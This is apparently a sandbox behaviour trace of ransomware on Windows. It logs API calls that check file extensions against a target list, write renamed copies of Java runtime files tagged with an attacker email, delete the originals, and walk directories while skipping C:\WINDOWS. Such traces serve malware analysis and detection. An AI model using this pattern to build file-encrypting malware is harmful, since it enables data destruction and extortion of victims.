1 [0079.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.141] lstrlenW (lpString=".zip") returned 4 [0079.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.141] lstrlenW (lpString=".rar") returned 4 [0079.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.141] lstrlenW (lpString=".bz2") returned 4 [0079.141] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.141] lstrlenW (lpString=".7z") returned 3 [0079.141] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.141] lstrlenW (lpString=".dbf") returned 4 [0079.141] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.141] lstrlenW (lpString=".1cd") returned 4 [0079.142] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0079.142] lstrlenW (lpString=".jpg") returned 4 [0079.142] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.142] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.143] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0079.143] GetLastError () returned 0x0 [0079.143] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xeb2a0, lpOverlapped=0x0) returned 1 [0079.572] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0079.594] ReadFile (in: hFile=0x370, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.594] WriteFile (in: hFile=0x348, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.594] SetEndOfFile (hFile=0x348) returned 1 [0079.594] CloseHandle (hObject=0x348) returned 1 [0079.594] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.594] SetEndOfFile (hFile=0x370) returned 1 [0079.604] CloseHandle (hObject=0x370) returned 1 [0079.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.605] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0079.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0079.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0079.606] lstrlenW (lpString=".doc") returned 4 [0079.606] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.606] lstrlenW (lpString=".docx") returned 5 [0079.606] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0079.606] lstrlenW (lpString=".pdf") returned 4 [0079.606] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.606] lstrlenW (lpString=".xls") returned 4 [0079.606] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.606] lstrlenW (lpString=".xlsx") returned 5 [0079.606] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0079.606] lstrlenW (lpString=".ppt") returned 4 [0079.606] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.606] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0079.606] lstrlenW (lpString=".zip") returned 4 [0079.606] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.606] lstrlenW (lpString=".rar") returned 4 [0079.606] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0080.009] lstrlenW (lpString=".bz2") returned 4 [0080.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0080.009] lstrlenW (lpString=".7z") returned 3 [0080.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0080.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0080.009] lstrlenW (lpString=".dbf") returned 4 [0080.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0080.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0080.009] lstrlenW (lpString=".1cd") returned 4 [0080.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0080.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0080.009] lstrlenW (lpString=".jpg") returned 4 [0080.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0080.010] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.010] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0080.011] GetLastError () returned 0x0 [0080.011] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0080.014] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0080.015] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.015] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xe4, lpOverlapped=0x0) returned 1 [0080.016] SetEndOfFile (hFile=0x398) returned 1 [0080.016] CloseHandle (hObject=0x398) returned 1 [0080.016] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.016] SetEndOfFile (hFile=0x2f8) returned 1 [0080.017] CloseHandle (hObject=0x2f8) returned 1 [0080.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.018] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0080.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.019] lstrlenW (lpString=".doc") returned 4 [0080.019] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.019] lstrlenW (lpString=".docx") returned 5 [0080.019] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0080.019] lstrlenW (lpString=".pdf") returned 4 [0080.019] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.019] lstrlenW (lpString=".xls") returned 4 [0080.019] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.019] lstrlenW (lpString=".xlsx") returned 5 [0080.019] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0080.019] lstrlenW (lpString=".ppt") returned 4 [0080.019] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.019] lstrlenW (lpString=".zip") returned 4 [0080.019] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.019] lstrlenW (lpString=".rar") returned 4 [0080.019] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.019] lstrlenW (lpString=".bz2") returned 4 [0080.019] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.019] lstrlenW (lpString=".7z") returned 3 [0080.019] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.019] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.019] lstrlenW (lpString=".dbf") returned 4 [0080.020] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.020] lstrlenW (lpString=".1cd") returned 4 [0080.020] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.020] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0080.020] lstrlenW (lpString=".jpg") returned 4 [0080.020] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.021] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.021] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.021] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0080.022] GetLastError () returned 0x0 [0080.022] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x4040, lpOverlapped=0x0) returned 1 [0080.024] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x4050, lpOverlapped=0x0) returned 1 [0080.026] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.026] WriteFile (in: hFile=0x398, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xf2, lpOverlapped=0x0) returned 1 [0080.027] SetEndOfFile (hFile=0x398) returned 1 [0080.027] CloseHandle (hObject=0x398) returned 1 [0080.027] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.027] SetEndOfFile (hFile=0x2f8) returned 1 [0080.029] CloseHandle (hObject=0x2f8) returned 1 [0080.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0080.029] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0080.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.030] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.030] lstrlenW (lpString=".doc") returned 4 [0080.030] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0080.030] lstrlenW (lpString=".docx") returned 5 [0080.030] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0080.030] lstrlenW (lpString=".pdf") returned 4 [0080.030] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0080.030] lstrlenW (lpString=".xls") returned 4 [0080.030] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0080.030] lstrlenW (lpString=".xlsx") returned 5 [0080.030] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0080.030] lstrlenW (lpString=".ppt") returned 4 [0080.030] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.031] lstrlenW (lpString=".zip") returned 4 [0080.031] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0080.031] lstrlenW (lpString=".rar") returned 4 [0080.031] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0080.031] lstrlenW (lpString=".bz2") returned 4 [0080.031] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0080.031] lstrlenW (lpString=".7z") returned 3 [0080.031] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.031] lstrlenW (lpString=".dbf") returned 4 [0080.031] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.031] lstrlenW (lpString=".1cd") returned 4 [0080.031] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0080.031] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0080.031] lstrlenW (lpString=".jpg") returned 4 [0080.031] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0080.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0080.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[seavays@aol.com].save")) returned 1 [0080.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0080.035] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0x0) returned 1 [0080.035] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0080.035] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d02058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.041] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0080.041] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d42058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.052] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0080.052] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x314fc24 | out: lpNewFilePointer=0x0) returned 1 [0080.052] ReadFile (in: hFile=0x2f8, lpBuffer=0x3d82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d82058*, lpNumberOfBytesRead=0x314fc30*=0x40000, lpOverlapped=0x0) returned 1 [0080.415] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.415] WriteFile (in: hFile=0x2f8, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x314fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fca8*=0xc0102, lpOverlapped=0x0) returned 1 [0080.434] SetEndOfFile (hFile=0x2f8) returned 1 [0080.434] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x43fb818 Thread: id = 16 os_tid = 0xd80 [0050.052] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c20938 [0050.053] lstrlenW (lpString="C:") returned 2 [0050.053] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x328fcf8 | out: lpFindFileData=0x328fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6b9698 [0050.053] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0050.053] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0050.053] lstrlenW (lpString="$GetCurrent") returned 11 [0050.053] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0050.053] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c30940 [0050.054] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0050.054] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6b9758 [0050.059] FindNextFileW (in: hFindFile=0x6b9758, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0050.060] FindNextFileW (in: hFindFile=0x6b9758, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0050.060] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0050.060] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0050.061] lstrlenW (lpString="Logs") returned 4 [0050.061] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0050.061] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3c71240 [0050.061] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0050.061] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b97d8 [0050.076] FindNextFileW (in: hFindFile=0x6b97d8, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.076] FindNextFileW (in: hFindFile=0x6b97d8, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0050.076] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0050.077] lstrlenW (lpString=".1cd") returned 4 [0050.077] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".3ds") returned 4 [0050.077] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".3fr") returned 4 [0050.077] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".3g2") returned 4 [0050.077] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".3gp") returned 4 [0050.077] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".7z") returned 3 [0050.077] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.077] lstrlenW (lpString=".accda") returned 6 [0050.077] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".accdb") returned 6 [0050.077] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".accdc") returned 6 [0050.077] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".accde") returned 6 [0050.077] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".accdt") returned 6 [0050.077] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".accdw") returned 6 [0050.077] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0050.077] lstrlenW (lpString=".adb") returned 4 [0050.077] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".adp") returned 4 [0050.077] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".ai") returned 3 [0050.077] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0050.077] lstrlenW (lpString=".ai3") returned 4 [0050.077] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0050.077] lstrlenW (lpString=".ai4") returned 4 [0050.078] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".ai5") returned 4 [0050.078] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".ai6") returned 4 [0050.078] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".ai7") returned 4 [0050.078] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".ai8") returned 4 [0050.078] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".anim") returned 5 [0050.078] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0050.078] lstrlenW (lpString=".arw") returned 4 [0050.078] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".as") returned 3 [0050.078] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0050.078] lstrlenW (lpString=".asa") returned 4 [0050.078] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".asc") returned 4 [0050.078] 